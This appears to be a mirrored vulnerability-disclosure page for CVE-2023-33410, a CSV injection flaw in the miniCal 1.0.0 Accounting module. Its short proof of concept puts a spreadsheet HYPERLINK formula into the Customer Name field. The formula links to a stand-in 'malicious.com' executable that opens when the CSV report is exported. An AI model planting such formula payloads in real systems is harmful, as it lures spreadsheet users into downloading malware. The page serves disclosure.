CVE-2023-33410 PoC — miniCal 安全漏洞

Source

https://github.com/Thirukrishnan/CVE-2023-33410

Associated Vulnerability

Title:miniCal 安全漏洞 (CVE-2023-33410)
Description:Minical 1.0.0 and earlier contains a CSV injection vulnerability which allows an attacker to execute remote code. The vulnerability exists due to insufficient input validation on the Customer Name field in the Accounting module that is used to construct a CSV file.

Readme

# CVE-2023-33410

Minical 1.0.0 is vulnerable to CSV Injection.

Vendor:                <https://github.com/minical/minical>

Demo Application:  <https://demo.minical.io/>

---

## PoC

Step 1:  Navigate to the Accounting module and click on Create New Customer.

![image](https://github.com/Thirukrishnan/CVE-2023-33410/assets/63901950/02c043e8-4a06-4707-a467-fe5ddcea50ad)


Step 2: Enter the payload in the Name field and Click on Create.

`Payload: =HYPERLINK("<https://malicious.com/evilshell.exe>","ClickHere") `

![image](https://github.com/Thirukrishnan/CVE-2023-33410/assets/63901950/83c5ff61-6d05-42fd-ac38-92587e5944a5)

![image](https://github.com/Thirukrishnan/CVE-2023-33410/assets/63901950/2d4fc808-aa01-4fea-9903-5f72bd86da4e)

Step 3: Click on Download CSV Report and Observe the payload getting rendered.

![image](https://github.com/Thirukrishnan/CVE-2023-33410/assets/63901950/10a38894-0885-4981-868e-0e6a39b441ef)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →